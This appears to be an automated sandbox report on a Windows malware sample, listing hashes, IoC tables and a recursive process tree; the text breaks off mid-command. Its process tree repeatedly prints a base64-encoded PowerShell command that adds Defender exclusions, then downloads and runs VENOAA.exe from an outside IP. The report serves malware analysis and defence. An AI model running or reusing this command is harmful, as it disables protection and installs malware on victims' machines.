3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad

Analysis

max time kernel
148s
max time network
150s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
01/05/2024, 16:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a79bbca37e4d87e9bd35a6d4f4730250.exe
Size

6KB
MD5

a79bbca37e4d87e9bd35a6d4f4730250
SHA1

38e7ddeb8f9e7fe8f56a9a43b012d6d5318f7e48
SHA256

3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad
SHA512

fac3c4afeed70e78e3162576716c1055616353e109fcbdc06200239dc4c7d28762ef0ee40dac1d2faa1394903f36209c6f49e12a73533d7b733433401d01ab64
SSDEEP

96:20acCYDSB79X4b60qvjnMDOeI3VIJ5NwC7eAYz0evk+P/Zz44f3szd3ojZrl:2PYDk90qvjsI3mNwCnYPvk+ZPf8zde

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 44 IoCs

flow	pid	Process
4	2868	powershell.exe
6	2544	powershell.exe
8	1572	powershell.exe
10	1756	powershell.exe
12	2284	powershell.exe
14	2452	powershell.exe
16	1104	powershell.exe
18	956	powershell.exe
20	1656	powershell.exe
22	2264	powershell.exe
24	2644	powershell.exe
26	2432	powershell.exe
28	2604	powershell.exe
30	1520	powershell.exe
32	2012	powershell.exe
34	1684	powershell.exe
36	1268	powershell.exe
38	2096	powershell.exe
40	2228	powershell.exe
42	2656	powershell.exe
44	2880	powershell.exe
46	2216	powershell.exe
48	1572	powershell.exe
50	2700	powershell.exe
52	1060	powershell.exe
54	2256	powershell.exe
56	692	powershell.exe
58	1448	powershell.exe
60	2976	powershell.exe
62	1240	powershell.exe
64	2376	powershell.exe
66	1380	powershell.exe
68	2604	powershell.exe
70	1600	powershell.exe
72	1740	powershell.exe
74	2220	powershell.exe
76	2732	powershell.exe
78	2312	powershell.exe
80	2020	powershell.exe
82	2528	powershell.exe
84	2584	powershell.exe
86	2600	powershell.exe
88	1892	powershell.exe
90	1880	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 44 IoCs

pid	Process
2480	VENOAA.exe
2476	VENOAA.exe
2688	VENOAA.exe
1944	VENOAA.exe
2012	VENOAA.exe
2788	VENOAA.exe
2636	VENOAA.exe
2824	VENOAA.exe
1516	VENOAA.exe
2584	VENOAA.exe
2376	VENOAA.exe
2328	VENOAA.exe
1796	VENOAA.exe
1256	VENOAA.exe
3060	VENOAA.exe
2928	VENOAA.exe
956	VENOAA.exe
812	VENOAA.exe
2496	VENOAA.exe
1556	VENOAA.exe
2624	VENOAA.exe
2632	VENOAA.exe
2532	VENOAA.exe
1420	VENOAA.exe
2156	VENOAA.exe
780	VENOAA.exe
2100	VENOAA.exe
1036	VENOAA.exe
2944	VENOAA.exe
2656	VENOAA.exe
2612	VENOAA.exe
1496	VENOAA.exe
2628	VENOAA.exe
1680	VENOAA.exe
392	VENOAA.exe
2256	VENOAA.exe
2440	VENOAA.exe
3040	VENOAA.exe
2804	VENOAA.exe
2896	VENOAA.exe
2428	VENOAA.exe
1752	VENOAA.exe
928	VENOAA.exe
2748	VENOAA.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2868	powershell.exe
2868	powershell.exe
2868	powershell.exe
2544	powershell.exe
2544	powershell.exe
2544	powershell.exe
1572	powershell.exe
1572	powershell.exe
1572	powershell.exe
1756	powershell.exe
1756	powershell.exe
1756	powershell.exe
2284	powershell.exe
2284	powershell.exe
2284	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
956	powershell.exe
956	powershell.exe
956	powershell.exe
1656	powershell.exe
1656	powershell.exe
1656	powershell.exe
2264	powershell.exe
2264	powershell.exe
2264	powershell.exe
2644	powershell.exe
2644	powershell.exe
2644	powershell.exe
2432	powershell.exe
2432	powershell.exe
2432	powershell.exe
2604	powershell.exe
2604	powershell.exe
2604	powershell.exe
1520	powershell.exe
1520	powershell.exe
1520	powershell.exe
2012	powershell.exe
2012	powershell.exe
2012	powershell.exe
1684	powershell.exe
1684	powershell.exe
1684	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2656	powershell.exe
2656	powershell.exe
2656	powershell.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
2216	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	2432	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	1684	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	692	powershell.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	1880	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 2868	1624	a79bbca37e4d87e9bd35a6d4f4730250.exe	28
PID 1624 wrote to memory of 2868	1624	a79bbca37e4d87e9bd35a6d4f4730250.exe	28
PID 1624 wrote to memory of 2868	1624	a79bbca37e4d87e9bd35a6d4f4730250.exe	28
PID 2868 wrote to memory of 2480	2868	powershell.exe	30
PID 2868 wrote to memory of 2480	2868	powershell.exe	30
PID 2868 wrote to memory of 2480	2868	powershell.exe	30
PID 2480 wrote to memory of 2544	2480	VENOAA.exe	31
PID 2480 wrote to memory of 2544	2480	VENOAA.exe	31
PID 2480 wrote to memory of 2544	2480	VENOAA.exe	31
PID 2544 wrote to memory of 2476	2544	powershell.exe	33
PID 2544 wrote to memory of 2476	2544	powershell.exe	33
PID 2544 wrote to memory of 2476	2544	powershell.exe	33
PID 2476 wrote to memory of 1572	2476	VENOAA.exe	34
PID 2476 wrote to memory of 1572	2476	VENOAA.exe	34
PID 2476 wrote to memory of 1572	2476	VENOAA.exe	34
PID 1572 wrote to memory of 2688	1572	powershell.exe	36
PID 1572 wrote to memory of 2688	1572	powershell.exe	36
PID 1572 wrote to memory of 2688	1572	powershell.exe	36
PID 2688 wrote to memory of 1756	2688	VENOAA.exe	37
PID 2688 wrote to memory of 1756	2688	VENOAA.exe	37
PID 2688 wrote to memory of 1756	2688	VENOAA.exe	37
PID 1756 wrote to memory of 1944	1756	powershell.exe	39
PID 1756 wrote to memory of 1944	1756	powershell.exe	39
PID 1756 wrote to memory of 1944	1756	powershell.exe	39
PID 1944 wrote to memory of 2284	1944	VENOAA.exe	40
PID 1944 wrote to memory of 2284	1944	VENOAA.exe	40
PID 1944 wrote to memory of 2284	1944	VENOAA.exe	40
PID 2284 wrote to memory of 2012	2284	powershell.exe	42
PID 2284 wrote to memory of 2012	2284	powershell.exe	42
PID 2284 wrote to memory of 2012	2284	powershell.exe	42
PID 2012 wrote to memory of 2452	2012	VENOAA.exe	43
PID 2012 wrote to memory of 2452	2012	VENOAA.exe	43
PID 2012 wrote to memory of 2452	2012	VENOAA.exe	43
PID 2452 wrote to memory of 2788	2452	powershell.exe	45
PID 2452 wrote to memory of 2788	2452	powershell.exe	45
PID 2452 wrote to memory of 2788	2452	powershell.exe	45
PID 2788 wrote to memory of 1104	2788	VENOAA.exe	46
PID 2788 wrote to memory of 1104	2788	VENOAA.exe	46
PID 2788 wrote to memory of 1104	2788	VENOAA.exe	46
PID 1104 wrote to memory of 2636	1104	powershell.exe	48
PID 1104 wrote to memory of 2636	1104	powershell.exe	48
PID 1104 wrote to memory of 2636	1104	powershell.exe	48
PID 2636 wrote to memory of 956	2636	VENOAA.exe	49
PID 2636 wrote to memory of 956	2636	VENOAA.exe	49
PID 2636 wrote to memory of 956	2636	VENOAA.exe	49
PID 956 wrote to memory of 2824	956	powershell.exe	51
PID 956 wrote to memory of 2824	956	powershell.exe	51
PID 956 wrote to memory of 2824	956	powershell.exe	51
PID 2824 wrote to memory of 1656	2824	VENOAA.exe	52
PID 2824 wrote to memory of 1656	2824	VENOAA.exe	52
PID 2824 wrote to memory of 1656	2824	VENOAA.exe	52
PID 1656 wrote to memory of 1516	1656	powershell.exe	54
PID 1656 wrote to memory of 1516	1656	powershell.exe	54
PID 1656 wrote to memory of 1516	1656	powershell.exe	54
PID 1516 wrote to memory of 2264	1516	VENOAA.exe	55
PID 1516 wrote to memory of 2264	1516	VENOAA.exe	55
PID 1516 wrote to memory of 2264	1516	VENOAA.exe	55
PID 2264 wrote to memory of 2584	2264	powershell.exe	57
PID 2264 wrote to memory of 2584	2264	powershell.exe	57
PID 2264 wrote to memory of 2584	2264	powershell.exe	57
PID 2584 wrote to memory of 2644	2584	VENOAA.exe	58
PID 2584 wrote to memory of 2644	2584	VENOAA.exe	58
PID 2584 wrote to memory of 2644	2584	VENOAA.exe	58
PID 2644 wrote to memory of 2376	2644	powershell.exe	60

C:\Users\Admin\AppData\Local\Temp\a79bbca37e4d87e9bd35a6d4f4730250.exe
"C:\Users\Admin\AppData\Local\Temp\a79bbca37e4d87e9bd35a6d4f4730250.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
    "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2544
    - - C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2476
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1572
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        8⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1756
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2284
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        11⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        12⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2452
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        13⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        14⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1104
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        15⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGE